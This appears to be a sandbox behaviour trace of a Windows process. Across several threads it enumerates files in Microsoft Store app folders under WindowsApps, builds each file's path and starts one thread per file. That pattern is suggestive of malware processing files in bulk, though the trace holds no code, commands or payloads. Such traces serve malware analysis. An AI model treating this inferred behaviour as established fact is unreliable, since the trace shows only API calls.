	[0090.051] wcscat (in: _Dest=0x5026f88, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x5026f88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21ec
	[0090.051] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54809116, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5482f378, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5482f378, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PersonPicture.UAP.dll", cAlternateFileName="")) returned 1
	[0090.051] wcscmp (_String1="PersonPicture.UAP.dll", _String2=".") returned 1
	[0090.051] wcscmp (_String1="PersonPicture.UAP.dll", _String2="..") returned 1
	[0090.051] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5482f378, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5482f378, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5482f378, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2d1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0090.052] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0090.052] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0090.052] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477e650
	[0090.052] wcscpy (in: _Dest=0x477e650, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe"
	[0090.052] wcscat (in: _Dest=0x477e650, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\"
	[0090.052] wcscat (in: _Dest=0x477e650, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0090.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477e650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21f0
	[0090.052] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5482f378, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5493a3ee, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5493a3ee, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x30dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoundRec.exe", cAlternateFileName="")) returned 1
	[0090.052] wcscmp (_String1="SoundRec.exe", _String2=".") returned 1
	[0090.052] wcscmp (_String1="SoundRec.exe", _String2="..") returned 1
	[0090.052] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5482f378, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5493a3ee, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5493a3ee, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x30dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoundRec.exe", cAlternateFileName="")) returned 0
	[0090.053] FindClose (in: hFindFile=0x46a79d8 | out: hFindFile=0x46a79d8) returned 1
	[0090.053] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502cbb0) returned 1
	[0090.053] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4924fa0) returned 1
	[0090.053] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4770618) returned 1

Thread:
	id = 1045
	os_tid = 0x1cc4

	[0082.701] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x46a5608
	[0082.701] wcscpy (in: _Dest=0x46a5608, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe"
	[0082.701] wcscat (in: _Dest=0x46a5608, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.701] wcscat (in: _Dest=0x46a5608, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\*"
	[0082.701] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502ce18
	[0082.701] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x541b63c4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xffa513a7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xffa513a7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7a18
	[0082.703] wcscmp (_String1=".", _String2=".") returned 0
	[0082.703] FindNextFileW (in: hFindFile=0x46a7a18, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x541b63c4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xffa513a7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xffa513a7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.703] wcscmp (_String1="..", _String2=".") returned 1
	[0082.703] wcscmp (_String1="..", _String2="..") returned 0
	[0082.703] FindNextFileW (in: hFindFile=0x46a7a18, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c143e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x542c143e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x542c143e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.703] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.703] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.703] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x2d89b38
	[0082.703] wcscpy (in: _Dest=0x2d89b38, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe"
	[0082.703] wcscat (in: _Dest=0x2d89b38, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.703] wcscat (in: _Dest=0x2d89b38, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d89b38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1650
	[0090.038] FindNextFileW (in: hFindFile=0x46a7a18, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x541b63c4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3d1c8f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x541b63c4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.039] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.039] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.039] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47eb078
	[0090.039] wcscpy (in: _Dest=0x47eb078, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe"
	[0090.039] wcscat (in: _Dest=0x47eb078, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.039] wcscat (in: _Dest=0x47eb078, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47eb078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c0
	[0090.039] FindNextFileW (in: hFindFile=0x46a7a18, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c143e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x542c143e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x542c143e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.039] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.039] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.039] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x4752260
	[0090.040] wcscpy (in: _Dest=0x4752260, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe"
	[0090.040] wcscat (in: _Dest=0x4752260, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.040] wcscat (in: _Dest=0x4752260, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4752260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c4
	[0090.040] FindNextFileW (in: hFindFile=0x46a7a18, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xffa513a7, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xffa513a7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xffa513a7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.040] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.040] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.040] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10c) returned 0x2dc3d70
	[0090.040] wcscpy (in: _Dest=0x2dc3d70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe"
	[0090.040] wcscat (in: _Dest=0x2dc3d70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.040] wcscat (in: _Dest=0x2dc3d70, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dc3d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c8
	[0090.041] FindNextFileW (in: hFindFile=0x46a7a18, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xffa513a7, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xffa513a7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xffa513a7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0090.041] FindClose (in: hFindFile=0x46a7a18 | out: hFindFile=0x46a7a18) returned 1
	[0090.042] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502ce18) returned 1
	[0090.042] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a5608) returned 1
	[0090.042] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea2d0) returned 1

Thread:
	id = 1046
	os_tid = 0x1cc8

	[0082.703] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x2e446e0
	[0082.704] wcscpy (in: _Dest=0x2e446e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0082.704] wcscat (in: _Dest=0x2e446e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0082.704] wcscat (in: _Dest=0x2e446e0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"
	[0082.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d080
	[0082.704] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\*", lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1117e7db, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x209d0ef, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x209d0ef, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7a58
	[0082.704] wcscmp (_String1=".", _String2=".") returned 0
	[0082.704] FindNextFileW (in: hFindFile=0x46a7a58, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1117e7db, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x209d0ef, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x209d0ef, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.705] wcscmp (_String1="..", _String2=".") returned 1
	[0082.705] wcscmp (_String1="..", _String2="..") returned 0
	[0082.705] FindNextFileW (in: hFindFile=0x46a7a58, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1117e7db, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x111a4a34, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x111a4a34, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xebc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.705] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.705] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.705] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4765e10
	[0082.705] wcscpy (in: _Dest=0x4765e10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0082.705] wcscat (in: _Dest=0x4765e10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0082.705] wcscat (in: _Dest=0x4765e10, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4765e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1654
	[0090.032] FindNextFileW (in: hFindFile=0x46a7a58, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1117e7db, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1117e7db, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1117e7db, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0090.032] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0090.032] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0090.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4777960
	[0090.032] wcscpy (in: _Dest=0x4777960, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.032] wcscat (in: _Dest=0x4777960, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.032] wcscat (in: _Dest=0x4777960, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml"
	[0090.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4777960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21ac
	[0090.033] FindNextFileW (in: hFindFile=0x46a7a58, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x111a4a34, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x111a4a34, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x111a4a34, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.033] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.033] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.033] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4778460
	[0090.033] wcscpy (in: _Dest=0x4778460, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.033] wcscat (in: _Dest=0x4778460, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.033] wcscat (in: _Dest=0x4778460, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4778460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21b0
